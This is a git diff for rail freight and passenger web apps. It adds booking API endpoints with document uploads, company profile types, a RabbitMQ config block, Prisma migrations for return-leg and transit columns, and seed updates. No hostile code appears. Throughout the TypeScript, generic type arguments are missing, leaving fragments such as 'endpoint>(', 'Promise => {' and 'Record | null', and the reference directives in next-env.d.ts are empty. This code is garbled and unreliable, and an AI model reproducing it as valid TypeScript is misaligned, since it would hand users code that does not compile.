diff --git a/apps/edr-freight-web/portal/src/services/api.ts b/apps/edr-freight-web/portal/src/services/api.ts
index 32ef5bbc0..194a1dd48 100644
--- a/apps/edr-freight-web/portal/src/services/api.ts
+++ b/apps/edr-freight-web/portal/src/services/api.ts
@@ -13,7 +13,9 @@ import {
BookingListFilter,
CreateBookingPayload,
GeneratePriceResponse,
+ SubmitBookingResponse,
} from "./bookings.service";
+import type { BookingDocuments } from "@/pages/bookings/new-booking-form/schema";
import {
paymentsService,
InitiatePaymentPayload,
@@ -36,6 +38,7 @@ import {
} from "@/types/dropdownSettings";
import type {
CompanyInfoResponse,
+ CompanyProfileResponse,
CreateCompanyPayload,
DashboardSummary,
} from "./companies.service";
@@ -126,14 +129,19 @@ export const api = {
"getDashboard",
companiesService.getDashboard,
),
+
+ addCompanyProfiles: endpoint<{ types: string[] }, CompanyProfileResponse[]>(
+ "companies",
+ "addCompanyProfiles",
+ companiesService.addCompanyProfiles,
+ ),
},
bookings: {
- list: endpoint>(
- "bookings",
- "list",
- bookingsService.list,
- ),
+ list: endpoint<
+ BookingListFilter | void,
+ PaginatedResponse
+ >("bookings", "list", bookingsService.list),
get: endpoint<{ id: string }, Freight.IBooking>(
"bookings",
@@ -141,16 +149,29 @@ export const api = {
({ id }) => bookingsService.get(id),
),
- create: endpoint(
+ tracking: endpoint<{ id: string }, Freight.IBookingTracking>(
"bookings",
- "create",
- bookingsService.create,
+ "tracking",
+ ({ id }) => bookingsService.tracking(id),
+ ),
+
+ create: endpoint<
+ { payload: CreateBookingPayload; documents?: BookingDocuments },
+ Freight.IBooking
+ >("bookings", "create", ({ payload, documents }) =>
+ bookingsService.create(payload, documents),
),
update: endpoint<
- { id: string; dto: Partial },
+ {
+ id: string;
+ dto: Partial;
+ documents?: BookingDocuments;
+ },
{ booking: Freight.IBooking; warnings: string[] }
- >("bookings", "update", ({ id, dto }) => bookingsService.update(id, dto)),
+ >("bookings", "update", ({ id, dto, documents }) =>
+ bookingsService.update(id, dto, documents),
+ ),
referenceData: endpoint(
"bookings",
@@ -174,12 +195,18 @@ export const api = {
({ id }) => bookingsService.generatePrice(id),
),
- submit: endpoint<{ id: string }, Freight.IBooking>(
+ submit: endpoint<{ id: string }, SubmitBookingResponse>(
"bookings",
"submit",
({ id }) => bookingsService.submit(id),
),
+ confirmSubmit: endpoint<{ id: string }, SubmitBookingResponse>(
+ "bookings",
+ "confirmSubmit",
+ ({ id }) => bookingsService.confirmSubmit(id),
+ ),
+
uploadDocuments: endpoint<
{ id: string; files: Record },
Freight.IBooking
@@ -196,8 +223,21 @@ export const api = {
getBookableSchedules: endpoint<
{ originYardId?: string; destinationYardId?: string },
Freight.BookableScheduleItem[]
- >("train-scheduling", "bookableSchedules", ({ originYardId, destinationYardId }) =>
- bookingsService.getBookableSchedules({ originYardId, destinationYardId }),
+ >(
+ "train-scheduling",
+ "bookableSchedules",
+ ({ originYardId, destinationYardId }) =>
+ bookingsService.getBookableSchedules({
+ originYardId,
+ destinationYardId,
+ }),
+ ),
+
+ getAvailableDays: endpoint<
+ { originYardId?: string; destinationYardId?: string },
+ string[]
+ >("train-scheduling", "availableDays", ({ originYardId, destinationYardId }) =>
+ bookingsService.getAvailableDays({ originYardId, destinationYardId }),
),
},
@@ -263,19 +303,6 @@ export const api = {
({ entity }) => fileUploadSettingsService.getByEntity(entity),
),
- create: endpoint(
- "file-upload-settings",
- "create",
- (payload) => fileUploadSettingsService.create(payload),
- ),
-
- update: endpoint<
- { id: string; dto: UpdateFileUploadSettingDto },
- FileUploadSetting
- >("file-upload-settings", "update", ({ id, dto }) =>
- fileUploadSettingsService.update(id, dto),
- ),
-
remove: endpoint<{ id: string }, void>(
"file-upload-settings",
"remove",
diff --git a/apps/edr-freight-web/portal/src/services/booking-form-data.ts b/apps/edr-freight-web/portal/src/services/booking-form-data.ts
new file mode 100644
index 000000000..52616b09e
--- /dev/null
+++ b/apps/edr-freight-web/portal/src/services/booking-form-data.ts
@@ -0,0 +1,88 @@
+import type { CreateBookingPayload } from "./bookings.service";
+import { BOOKING_DOCS_SETTING, type BookingDocuments } from "@/pages/bookings/new-booking-form/schema";
+
+function appendValue(formData: FormData, key: string, value: unknown) {
+ if (value === undefined || value === null) return;
+ if (typeof value === "boolean") {
+ formData.append(key, value ? "true" : "false");
+ return;
+ }
+ if (typeof value === "number") {
+ formData.append(key, String(value));
+ return;
+ }
+ if (typeof value === "string") {
+ formData.append(key, value);
+ return;
+ }
+}
+
+function appendContainers(
+ formData: FormData,
+ containers: NonNullable,
+) {
+ containers.forEach((container, index) => {
+ formData.append(
+ `containers[${index}][containerTypeId]`,
+ container.containerTypeId,
+ );
+ formData.append(
+ `containers[${index}][quantity]`,
+ String(container.quantity),
+ );
+ formData.append(
+ `containers[${index}][vgmPerUnitTons]`,
+ String(container.vgmPerUnitTons),
+ );
+ });
+}
+
+function appendDocuments(
+ formData: FormData,
+ documents?: Record,
+) {
+ if (!documents) return;
+ for (const [key, fileOrFiles] of Object.entries(documents)) {
+ if (!fileOrFiles) continue;
+ if (Array.isArray(fileOrFiles)) {
+ for (const file of fileOrFiles) {
+ formData.append(key, file);
+ }
+ } else {
+ formData.append(key, fileOrFiles);
+ }
+ }
+}
+
+/** Flatten a booking payload (and optional document files) into multipart FormData. */
+export function buildBookingFormData(
+ payload: Partial,
+ documents?: BookingDocuments,
+): FormData {
+ const formData = new FormData();
+ const skipKeys = new Set(["containers", "freightShapeValidation"]);
+
+ for (const [key, value] of Object.entries(payload)) {
+ if (skipKeys.has(key)) continue;
+ appendValue(formData, key, value);
+ }
+
+ if (payload.containers?.length) {
+ appendContainers(formData, payload.containers);
+ }
+
+ appendDocuments(formData, documents);
+ return formData;
+}
+
+/** Returns true when every required booking document field has a file attached. */
+export function hasAllRequiredDocuments(
+ documents: BookingDocuments | undefined | null,
+): boolean {
+ const docs = documents ?? {};
+ return BOOKING_DOCS_SETTING.fields.every((field) => {
+ const value = docs[field.fileKey];
+ if (Array.isArray(value)) return value.length > 0;
+ return Boolean(value);
+ });
+}
diff --git a/apps/edr-freight-web/portal/src/services/bookings.service.ts b/apps/edr-freight-web/portal/src/services/bookings.service.ts
index 9933fa227..201ad071d 100644
--- a/apps/edr-freight-web/portal/src/services/bookings.service.ts
+++ b/apps/edr-freight-web/portal/src/services/bookings.service.ts
@@ -1,6 +1,8 @@
import type { Freight, PaginatedResponse } from "@edr/types";
import { URL_CONSTANTS } from "@/constants/URLS";
+import type { BookingDocuments } from "@/pages/bookings/new-booking-form/schema";
+import { buildBookingFormData } from "./booking-form-data";
import { client } from "../utils/api";
const B = URL_CONSTANTS.BOOKINGS;
@@ -45,6 +47,17 @@ export interface GeneratePriceResponse {
warnings: string[];
}
+export interface SubmitBookingResponse {
+ bookingId: string;
+ status: string;
+ priceChanged: boolean;
+ previousTotalAmount?: number;
+ totalAmount: number;
+ currency: string;
+ lineItems?: PriceLineItem[];
+ message?: string;
+}
+
export interface SignContractPayload {
role: "CUSTOMER" | "STAFF";
signatureImageBase64: string;
@@ -54,6 +67,8 @@ export interface SignContractPayload {
export interface BookingListFilter {
status?: string;
+ /** Comma-separated statuses (overrides `status` when set). */
+ statuses?: string;
page?: number;
pageSize?: number;
sortBy?: string;
@@ -71,8 +86,18 @@ export const bookingsService = {
const { data } = await client.get(`/api/bookings/${id}`);
return data.data;
},
- create: async (payload: CreateBookingPayload): Promise => {
- const { data } = await client.post("/api/bookings", payload);
+ tracking: async (id: string): Promise => {
+ const { data } = await client.get(`/api/bookings/${id}/tracking`);
+ return data.data;
+ },
+ create: async (
+ payload: CreateBookingPayload,
+ documents?: BookingDocuments,
+ ): Promise => {
+ const formData = buildBookingFormData(payload, documents);
+ const { data } = await client.post("/api/bookings", formData, {
+ headers: { "Content-Type": "multipart/form-data" },
+ });
return data.data.booking;
},
getReferenceData: async (): Promise => {
@@ -82,8 +107,12 @@ export const bookingsService = {
update: async (
id: string,
payload: Partial,
+ documents?: BookingDocuments,
): Promise<{ booking: Freight.IBooking; warnings: string[] }> => {
- const { data } = await client.patch(`/api/bookings/${id}`, payload);
+ const formData = buildBookingFormData(payload, documents);
+ const { data } = await client.patch(`/api/bookings/${id}`, formData, {
+ headers: { "Content-Type": "multipart/form-data" },
+ });
return data.data;
},
@@ -101,11 +130,16 @@ export const bookingsService = {
return data.data;
},
- submit: async (id: string): Promise => {
+ submit: async (id: string): Promise => {
const { data } = await client.post(`/api/bookings/${id}/submit`);
return data.data;
},
+ confirmSubmit: async (id: string): Promise => {
+ const { data } = await client.post(`/api/bookings/${id}/confirm-submit`);
+ return data.data;
+ },
+
uploadDocuments: async (
id: string,
files: Record,
@@ -161,4 +195,18 @@ export const bookingsService = {
);
return data.data;
},
+
+ /**
+ * Day-level pool: the days that have a departure on the route. The customer
+ * picks a day; the engine assigns the train. No capacity is returned.
+ */
+ getAvailableDays: async (
+ query: Freight.AvailableDaysQuery = {},
+ ): Promise => {
+ const { data } = await client.get(
+ URL_CONSTANTS.TRAIN_SCHEDULING.AVAILABLE_DAYS,
+ { params: query },
+ );
+ return (data.data as Freight.AvailableDaysResponse).days;
+ },
};
diff --git a/apps/edr-freight-web/portal/src/services/companies.service.ts b/apps/edr-freight-web/portal/src/services/companies.service.ts
index 409d9045b..149705ec1 100644
--- a/apps/edr-freight-web/portal/src/services/companies.service.ts
+++ b/apps/edr-freight-web/portal/src/services/companies.service.ts
@@ -35,6 +35,18 @@ export interface CompanyResponse {
email: string | null;
website: string | null;
attributes: Record | null;
+ companyProfiles?: CompanyProfileResponse[];
+ createdAt: string;
+ updatedAt: string;
+}
+
+export interface CompanyProfileResponse {
+ id: string;
+ type: string;
+ reference: string;
+ status: string;
+ businessLicense: string | null;
+ attributes: Record | null;
createdAt: string;
updatedAt: string;
}
@@ -44,6 +56,11 @@ export interface CompanyInfoResponse {
company: CompanyResponse;
}
+export interface CompanyProfileInput {
+ type: "importer" | "exporter" | "freight_forwarder" | "dj_freight_forwarder" | "transporter";
+ businessLicense?: string;
+}
+
export interface CreateCompanyPayload {
companyType?: string;
companyName: string;
@@ -57,6 +74,7 @@ export interface CreateCompanyPayload {
jobTitle?: string;
isPrimaryContact?: boolean;
attributes?: Record;
+ companyProfiles?: CompanyProfileInput[];
}
export interface FreightVolumePoint {
@@ -124,6 +142,16 @@ export const companiesService = {
return unwrap(response.data);
},
+ addCompanyProfiles: async (payload: {
+ types: string[];
+ }): Promise => {
+ const response = await client.post>(
+ URL_CONSTANTS.COMPANIES_API.COMPANY_PROFILES,
+ payload,
+ );
+ return unwrap(response.data);
+ },
+
uploadDocuments: async (
companyId: string,
files: Record,
diff --git a/apps/edr-freight-web/portal/src/types/profile.ts b/apps/edr-freight-web/portal/src/types/profile.ts
index cab34ee23..ce8661828 100644
--- a/apps/edr-freight-web/portal/src/types/profile.ts
+++ b/apps/edr-freight-web/portal/src/types/profile.ts
@@ -1,6 +1,10 @@
+import type { CompanyProfileResponse } from "@/services/companies.service";
+
export interface ProfileResponse {
companyId: string;
companyName: string;
+ companyType: string;
+ companyProfiles: CompanyProfileResponse[];
companyEmail: string | null;
companyPhone: string | null;
companyLocation: string;
diff --git a/apps/edr-landing/next-env.d.ts b/apps/edr-landing/next-env.d.ts
new file mode 100644
index 000000000..c4b7818fb
--- /dev/null
+++ b/apps/edr-landing/next-env.d.ts
@@ -0,0 +1,6 @@
+///
+///
+import "./.next/dev/types/routes.d.ts";
+
+// NOTE: This file should not be edited
+// see https://nextjs.org/docs/app/api-reference/config/typescript for more information.
diff --git a/apps/edr-passenger-api/.env.example b/apps/edr-passenger-api/.env.example
index b2500160d..482a0df2c 100644
--- a/apps/edr-passenger-api/.env.example
+++ b/apps/edr-passenger-api/.env.example
@@ -130,6 +130,13 @@ FAYDA_SESSION_TTL_MINUTES=10
GITHUB_PACKAGE_TOKEN=
+# --- Notification broker (RabbitMQ) -----------------------------------------------------------------
+# Set RABBITMQ_ENABLED=false to skip connection entirely (dev without a local broker).
+RABBITMQ_ENABLED=false
+RABBITMQ_URL=amqp://localhost:5672
+EMAIL_QUEUE=email_queue
+SMS_QUEUE=sms_queue
+
# --- Payment event consumer (RabbitMQ) -------------------------------------------------------
# Consumes payment.succeeded / payment.failed events from the payment microservice. Separate
# from any RABBITMQ_URL used by the IAM/notification modules so the two connections are
diff --git a/apps/edr-passenger-api/package.json b/apps/edr-passenger-api/package.json
index 84ea472d4..8ef7e669a 100644
--- a/apps/edr-passenger-api/package.json
+++ b/apps/edr-passenger-api/package.json
@@ -34,7 +34,6 @@
"@nestjs/schedule": "^6.1.3",
"@nestjs/swagger": "^7.4.0",
"@prisma/client": "^6.19.3",
- "@sendgrid/mail": "^8.1.0",
"axios": "^1.7.7",
"bcrypt": "^5.1.1",
"class-transformer": "^0.5.1",
diff --git a/apps/edr-passenger-api/prisma/migrations/20260617042447_add_return_schedule_id/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260617042447_add_return_schedule_id/migration.sql
index 7622faf86..3b5beccb8 100644
--- a/apps/edr-passenger-api/prisma/migrations/20260617042447_add_return_schedule_id/migration.sql
+++ b/apps/edr-passenger-api/prisma/migrations/20260617042447_add_return_schedule_id/migration.sql
@@ -141,6 +141,9 @@ ALTER TABLE "SeatClass" ALTER COLUMN "baseFareMinor" SET DEFAULT 0;
ALTER TABLE "Ticket" ALTER COLUMN "status" SET DEFAULT 'ACTIVE';
-- AlterTable
+-- gender is created here on a clean migration history (no prior migration adds it);
+-- on an already-drifted DB where it exists as varchar, normalize it to TEXT.
+ALTER TABLE "User" ADD COLUMN IF NOT EXISTS "gender" TEXT;
ALTER TABLE "User" ALTER COLUMN "gender" SET DATA TYPE TEXT;
-- CreateIndex
diff --git a/apps/edr-passenger-api/prisma/migrations/20260625_add_return_leg_status/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260625_add_return_leg_status/migration.sql
new file mode 100644
index 000000000..e93fb8320
--- /dev/null
+++ b/apps/edr-passenger-api/prisma/migrations/20260625_add_return_leg_status/migration.sql
@@ -0,0 +1,18 @@
+-- CreateEnum
+CREATE TYPE "passenger"."ReturnLegStatus" AS ENUM ('NOT_APPLICABLE', 'BOTH_USED', 'OUTBOUND_ONLY', 'INBOUND_ONLY', 'NEITHER_USED');
+
+-- AlterTable: add return leg tracking columns to Booking
+ALTER TABLE "passenger"."Booking"
+ ADD COLUMN "returnLegStatus" "passenger"."ReturnLegStatus" NOT NULL DEFAULT 'NOT_APPLICABLE',
+ ADD COLUMN "outboundBoardedAt" TIMESTAMP(3),
+ ADD COLUMN "returnBoardedAt" TIMESTAMP(3);
+
+-- Set NEITHER_USED for existing confirmed round-trip bookings
+UPDATE "passenger"."Booking"
+SET "returnLegStatus" = 'NEITHER_USED'
+WHERE "bookingType" = 'ROUND_TRIP'
+ AND "status" IN ('CONFIRMED', 'COMPLETED');
+
+-- AlterTable: add leg column to GateValidationLog
+ALTER TABLE "passenger"."GateValidationLog"
+ ADD COLUMN "leg" TEXT;
diff --git a/apps/edr-passenger-api/prisma/migrations/20260626_fix_missing_booking_columns/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260626_fix_missing_booking_columns/migration.sql
new file mode 100644
index 000000000..f252642f6
--- /dev/null
+++ b/apps/edr-passenger-api/prisma/migrations/20260626_fix_missing_booking_columns/migration.sql
@@ -0,0 +1,68 @@
+-- Create passenger schema if it doesn't exist
+CREATE SCHEMA IF NOT EXISTS passenger;
+
+-- Move all enums from public to passenger schema
+DO $$
+DECLARE
+ e text;
+BEGIN
+ FOR e IN
+ SELECT typname FROM pg_type
+ JOIN pg_namespace ON pg_namespace.oid = pg_type.typnamespace
+ WHERE pg_namespace.nspname = 'public' AND pg_type.typtype = 'e'
+ LOOP
+ EXECUTE format('ALTER TYPE public.%I SET SCHEMA passenger', e);
+ END LOOP;
+END $$;
+
+-- Move all tables from public to passenger schema
+DO $$
+DECLARE
+ t text;
+BEGIN
+ FOR t IN
+ SELECT tablename FROM pg_tables
+ WHERE schemaname = 'public' AND tablename NOT IN ('_prisma_migrations')
+ LOOP
+ EXECUTE format('ALTER TABLE public.%I SET SCHEMA passenger', t);
+ END LOOP;
+END $$;
+
+-- Add missing columns to Booking
+ALTER TABLE "passenger"."Booking"
+ ADD COLUMN IF NOT EXISTS "returnScheduleId" TEXT,
+ ADD COLUMN IF NOT EXISTS "returnOriginStationId" TEXT,
+ ADD COLUMN IF NOT EXISTS "returnDestinationStationId" TEXT,
+ ADD COLUMN IF NOT EXISTS "returnHoldId" TEXT,
+ ADD COLUMN IF NOT EXISTS "returnSeatClassId" TEXT,
+ ADD COLUMN IF NOT EXISTS "leg2ScheduleId" TEXT,
+ ADD COLUMN IF NOT EXISTS "leg2OriginStationId" TEXT,
+ ADD COLUMN IF NOT EXISTS "leg2DestinationStationId" TEXT,
+ ADD COLUMN IF NOT EXISTS "leg2SeatClassId" TEXT,
+ ADD COLUMN IF NOT EXISTS "returnLeg2ScheduleId" TEXT,
+ ADD COLUMN IF NOT EXISTS "returnLeg2OriginStationId" TEXT,
+ ADD COLUMN IF NOT EXISTS "returnLeg2DestStationId" TEXT,
+ ADD COLUMN IF NOT EXISTS "returnLeg2SeatClassId" TEXT,
+ ADD COLUMN IF NOT EXISTS "outboundBoardedAt" TIMESTAMP(3),
+ ADD COLUMN IF NOT EXISTS "returnBoardedAt" TIMESTAMP(3);
+
+-- Add ReturnLegStatus enum and column
+DO $$ BEGIN
+ CREATE TYPE "passenger"."ReturnLegStatus" AS ENUM (
+ 'NOT_APPLICABLE', 'BOTH_USED', 'OUTBOUND_ONLY', 'INBOUND_ONLY', 'NEITHER_USED'
+ );
+EXCEPTION WHEN duplicate_object THEN NULL; END $$;
+
+ALTER TABLE "passenger"."Booking"
+ ADD COLUMN IF NOT EXISTS "returnLegStatus" "passenger"."ReturnLegStatus" NOT NULL DEFAULT 'NOT_APPLICABLE';
+
+-- Add missing columns to other tables
+ALTER TABLE "passenger"."GateValidationLog" ADD COLUMN IF NOT EXISTS "leg" TEXT;
+ALTER TABLE "passenger"."BookingSeat" ADD COLUMN IF NOT EXISTS "leg" INTEGER NOT NULL DEFAULT 1;
+ALTER TABLE "passenger"."BookingSeat" ADD COLUMN IF NOT EXISTS "scheduleId" TEXT;
+ALTER TABLE "passenger"."Ticket" ADD COLUMN IF NOT EXISTS "boardedAt" TIMESTAMP(3);
+
+ALTER TABLE "passenger"."SeatClass" ALTER COLUMN "baseFareMinor" SET DEFAULT 0;
+ALTER TABLE "passenger"."Ticket" ALTER COLUMN "status" SET DEFAULT 'ACTIVE';
+
+CREATE INDEX IF NOT EXISTS "Booking_bookingType_idx" ON "passenger"."Booking"("bookingType");
diff --git a/apps/edr-passenger-api/prisma/schema.prisma b/apps/edr-passenger-api/prisma/schema.prisma
index b2259a448..423a03ec9 100644
--- a/apps/edr-passenger-api/prisma/schema.prisma
+++ b/apps/edr-passenger-api/prisma/schema.prisma
@@ -1,5 +1,6 @@
generator client {
- provider = "prisma-client-js"
+ provider = "prisma-client-js"
+ previewFeatures = ["multiSchema"]
}
datasource db {
@@ -79,7 +80,6 @@ model CoachType {
updatedAt DateTime @updatedAt
coaches Coach[]
seatClasses SeatClass[]
-
@@schema("passenger")
}
@@ -115,6 +115,16 @@ enum BookingStatus {
@@schema("passenger")
}
+enum ReturnLegStatus {
+ NOT_APPLICABLE
+ BOTH_USED
+ OUTBOUND_ONLY
+ INBOUND_ONLY
+ NEITHER_USED
+
+ @@schema("passenger")
+}
+
enum PaymentRegion {
ETHIOPIA
DJIBOUTI
@@ -259,7 +269,6 @@ model User {
fraudAlerts FraudAlert[]
faydaVerificationSessions FaydaVerificationSession[]
-
@@schema("passenger")
}
@@ -273,7 +282,6 @@ model Session {
lastActivityAt DateTime @default(now())
createdAt DateTime @default(now())
user User @relation(fields: [userId], references: [id], onDelete: Cascade)
-
@@schema("passenger")
}
@@ -305,7 +313,6 @@ model TravelerProfile {
notes String?
createdAt DateTime @default(now())
passenger Passenger @relation(fields: [passengerId], references: [id])
-
@@schema("passenger")
}
@@ -340,7 +347,6 @@ model Train {
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
schedules TrainSchedule[]
-
@@schema("passenger")
}
@@ -364,7 +370,8 @@ model TrainSchedule {
originStation Station @relation("OriginTrips", fields: [originStationId], references: [id])
destinationStation Station @relation("DestinationTrips", fields: [destinationStationId], references: [id])
coachAssignments CoachAssignment[]
- bookings Booking[]
+ bookings Booking[] @relation("OutboundSchedule")
+ returnBookings Booking[] @relation("ReturnSchedule")
stopTimes TripStopTime[]
liveStatus TripLiveStatus?
menuItems MenuItem[]
@@ -401,7 +408,6 @@ model TripLiveStatus {
platformLabel String?
updatedAt DateTime @updatedAt
schedule TrainSchedule @relation(fields: [scheduleId], references: [id])
-
@@schema("passenger")
}
@@ -489,7 +495,6 @@ model FareRule {
validFrom DateTime
validUntil DateTime?
createdAt DateTime @default(now())
-
@@schema("passenger")
}
@@ -511,6 +516,19 @@ model Booking {
returnDestinationStationId String?
returnHoldId String?
returnSeatClassId String?
+ returnLegStatus ReturnLegStatus @default(NOT_APPLICABLE)
+ // Transit leg-2 fields (single-booking transit)
+ leg2ScheduleId String?
+ leg2OriginStationId String?
+ leg2DestinationStationId String?
+ leg2SeatClassId String?
+ // Round-trip transit: return journey transit fields
+ returnLeg2ScheduleId String?
+ returnLeg2OriginStationId String?
+ returnLeg2DestStationId String?
+ returnLeg2SeatClassId String?
+ outboundBoardedAt DateTime?
+ returnBoardedAt DateTime?
contactEmail String?
contactPhone String?
userAgent String?
@@ -520,7 +538,8 @@ model Booking {
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
passenger Passenger @relation(fields: [passengerId], references: [id])
- schedule TrainSchedule @relation(fields: [scheduleId], references: [id])
+ schedule TrainSchedule @relation("OutboundSchedule", fields: [scheduleId], references: [id])
+ returnSchedule TrainSchedule? @relation("ReturnSchedule", fields: [returnScheduleId], references: [id])
seats BookingSeat[]
paymentIntent PaymentIntent?
ticket Ticket?
@@ -539,6 +558,8 @@ model BookingSeat {
id String @id @default(uuid())
bookingId String
seatId String
+ leg Int @default(1) // 1=outbound/leg-1, 2=return/leg-2
+ scheduleId String? // which schedule this seat belongs to
passengerName String
dateOfBirth DateTime?
passengerCategory PassengerCategory @default(ADULT)
@@ -557,7 +578,6 @@ model BookingSeat {
displayFareMinor Int?
booking Booking @relation(fields: [bookingId], references: [id])
seat Seat @relation(fields: [seatId], references: [id])
-
@@schema("passenger")
}
@@ -573,7 +593,6 @@ model PaymentMethod {
sortOrder Int @default(0)
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
-
@@schema("passenger")
}
@@ -634,7 +653,6 @@ model PaymentRefund {
status String
createdAt DateTime @default(now())
paymentIntent PaymentIntent @relation(fields: [paymentIntentId], references: [id])
-
@@schema("passenger")
}
@@ -654,7 +672,6 @@ model Ticket {
booking Booking @relation(fields: [bookingId], references: [id])
validationLogs GateValidationLog[]
seats TicketSeat[]
-
@@schema("passenger")
}
@@ -682,7 +699,6 @@ model LoyaltyAccount {
passenger Passenger @relation(fields: [passengerId], references: [id])
ledger LoyaltyLedgerEntry[]
rewards LoyaltyReward[]
-
@@schema("passenger")
}
@@ -695,7 +711,6 @@ model LoyaltyLedgerEntry {
balanceAfter Int
createdAt DateTime @default(now())
account LoyaltyAccount @relation(fields: [accountId], references: [id])
-
@@schema("passenger")
}
@@ -707,7 +722,6 @@ model LoyaltyReward {
available Boolean @default(true)
description String?
account LoyaltyAccount @relation(fields: [accountId], references: [id])
-
@@schema("passenger")
}
@@ -736,7 +750,6 @@ model WalletLedgerEntry {
relatedBookingId String?
createdAt DateTime @default(now())
wallet WalletAccount @relation(fields: [walletId], references: [id])
-
@@schema("passenger")
}
@@ -751,7 +764,6 @@ model Notification {
metadata Json?
createdAt DateTime @default(now())
passenger Passenger @relation(fields: [passengerId], references: [id])
-
@@schema("passenger")
}
@@ -767,7 +779,6 @@ model Promotion {
deepLink String?
active Boolean @default(true)
createdAt DateTime @default(now())
-
@@schema("passenger")
}
@@ -781,7 +792,6 @@ model StationCrowdSignal {
observedAt DateTime?
updatedAt DateTime @updatedAt
station Station @relation(fields: [stationId], references: [id])
-
@@schema("passenger")
}
@@ -793,7 +803,6 @@ model WeatherAlert {
message String
validUntil DateTime
createdAt DateTime @default(now())
-
@@schema("passenger")
}
@@ -801,7 +810,6 @@ model MenuCategory {
id String @id @default(uuid())
name String
items MenuItem[]
-
@@schema("passenger")
}
@@ -816,7 +824,6 @@ model MenuItem {
availableUntil DateTime?
schedule TrainSchedule @relation(fields: [scheduleId], references: [id])
category MenuCategory @relation(fields: [categoryId], references: [id])
-
@@schema("passenger")
}
@@ -831,7 +838,6 @@ model FoodOrder {
createdAt DateTime @default(now())
booking Booking @relation(fields: [bookingId], references: [id])
items FoodOrderItem[]
-
@@schema("passenger")
}
@@ -844,7 +850,6 @@ model FoodOrderItem {
unitPriceMinor Int?
lineTotalMinor Int
order FoodOrder @relation(fields: [orderId], references: [id])
-
@@schema("passenger")
}
@@ -853,7 +858,6 @@ model FaqCategory {
title String
iconKey String?
articles FaqArticle[]
-
@@schema("passenger")
}
@@ -864,7 +868,6 @@ model FaqArticle {
answerMarkdown String
rank Int @default(0)
category FaqCategory @relation(fields: [categoryId], references: [id])
-
@@schema("passenger")
}
@@ -875,7 +878,6 @@ model SupportConversation {
status SupportConversationStatus @default(OPEN)
createdAt DateTime @default(now())
messages SupportMessage[]
-
@@schema("passenger")
}
@@ -887,7 +889,6 @@ model SupportMessage {
attachments Json?
createdAt DateTime @default(now())
conversation SupportConversation @relation(fields: [conversationId], references: [id])
-
@@schema("passenger")
}
@@ -907,7 +908,6 @@ model UserPreferences {
darkMode Boolean @default(false)
language String @default("en")
user User @relation(fields: [userId], references: [id])
-
@@schema("passenger")
}
@@ -920,7 +920,6 @@ model Device {
trusted Boolean @default(false)
lastSeenAt DateTime @default(now())
user User @relation(fields: [userId], references: [id])
-
@@schema("passenger")
}
@@ -934,7 +933,6 @@ model SavedRoute {
tripCount Int @default(0)
createdAt DateTime @default(now())
passenger Passenger @relation(fields: [passengerId], references: [id])
-
@@schema("passenger")
}
@@ -946,7 +944,6 @@ model Journey {
currency String @default("ETB")
createdAt DateTime @default(now())
journeySegments JourneySegment[]
-
@@schema("passenger")
}
@@ -961,7 +958,6 @@ model JourneySegment {
arrivalStationId String
journey Journey @relation(fields: [journeyId], references: [id])
schedule TrainSchedule @relation(fields: [scheduleId], references: [id])
-
@@schema("passenger")
}
@@ -1005,7 +1001,6 @@ model Route {
fareRules RouteFareRule[]
segmentFares SegmentFareRule[]
schedules TrainSchedule[]
-
@@schema("passenger")
}
@@ -1075,7 +1070,6 @@ model Agent {
bookings AgentBooking[]
shifts AgentShift[]
commissions AgentCommission[]
-
@@schema("passenger")
}
@@ -1090,7 +1084,6 @@ model AgentBooking {
createdAt DateTime @default(now())
agent Agent @relation(fields: [agentId], references: [id])
booking Booking @relation(fields: [bookingId], references: [id])
-
@@schema("passenger")
}
@@ -1150,7 +1143,6 @@ model BookingCancellation {
processedAt DateTime?
createdAt DateTime @default(now())
booking Booking @relation(fields: [bookingId], references: [id])
-
@@schema("passenger")
}
@@ -1159,6 +1151,7 @@ model GateValidationLog {
ticketId String
validatorId String
gateId String?
+ leg String? // 'OUTBOUND' | 'RETURN' — for round-trip tickets
status String
reason String?
validatedAt DateTime @default(now())
@@ -1177,7 +1170,6 @@ model BaggageAllowance {
excessFeePerKg Int
currency String @default("ETB")
createdAt DateTime @default(now())
-
@@schema("passenger")
}
@@ -1221,7 +1213,6 @@ model NotificationTemplate {
bodyTemplate String
active Boolean @default(true)
createdAt DateTime @default(now())
-
@@schema("passenger")
}
@@ -1260,7 +1251,6 @@ model FraudRule {
config Json?
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
-
@@schema("passenger")
}
diff --git a/apps/edr-passenger-api/prisma/seed.ts b/apps/edr-passenger-api/prisma/seed.ts
index 14907f87e..34e5e1dc8 100644
--- a/apps/edr-passenger-api/prisma/seed.ts
+++ b/apps/edr-passenger-api/prisma/seed.ts
@@ -212,7 +212,7 @@ async function seedRoute() {
create: { routeId: route.id, stationId: station!.id, sequence: i + 1, distanceKm: routeDistancesKm[i] },
});
}
-
+
const returnRoute = await prisma.route.upsert({
where: { code: 'Route-102' },
update: {},
@@ -317,7 +317,7 @@ async function seedTrips() {
const now = new Date();
const tomorrow = new Date(now);
tomorrow.setDate(now.getDate() + 1);
-
+
const schedules = [];
for (let d = 0; d < 5; d++) {
@@ -403,7 +403,7 @@ async function seedTrips() {
const coachAssignments = [];
const liveStatuses = [];
-
+
for (const schedule of createdSchedules) {
for (let p = 0; p < coaches.length; p++) {
coachAssignments.push({
@@ -418,12 +418,12 @@ async function seedTrips() {
progressPercent: 0,
});
}
-
+
await Promise.all([
...coachAssignments.map(ca => prisma.coachAssignment.create({ data: ca })),
...liveStatuses.map(ls => prisma.tripLiveStatus.create({ data: ls })),
]);
-
+
console.log(` ✅ Train with ${createdSchedules.length} upcoming trips created`);
}
@@ -453,7 +453,7 @@ async function seedFareRules() {
validFrom,
});
}
-
+
await Promise.all(
fareRules.map(fr => prisma.routeFareRule.create({ data: fr }))
);
@@ -518,7 +518,7 @@ async function seedSegmentFares() {
include: { stops: { orderBy: { sequence: 'asc' } } },
});
const seatClasses = await prisma.seatClass.findMany();
- const validFrom = new Date('2024-01-01');
+ const validFrom = new Date('2026-01-01');
if (route && route.stops.length > 2) {
for (const sc of seatClasses) {
@@ -531,7 +531,7 @@ async function seedSegmentFares() {
baseFareMinor: Math.floor(sc.baseFareMinor * 0.4),
validFrom,
},
- }).catch(() => {});
+ }).catch(() => { });
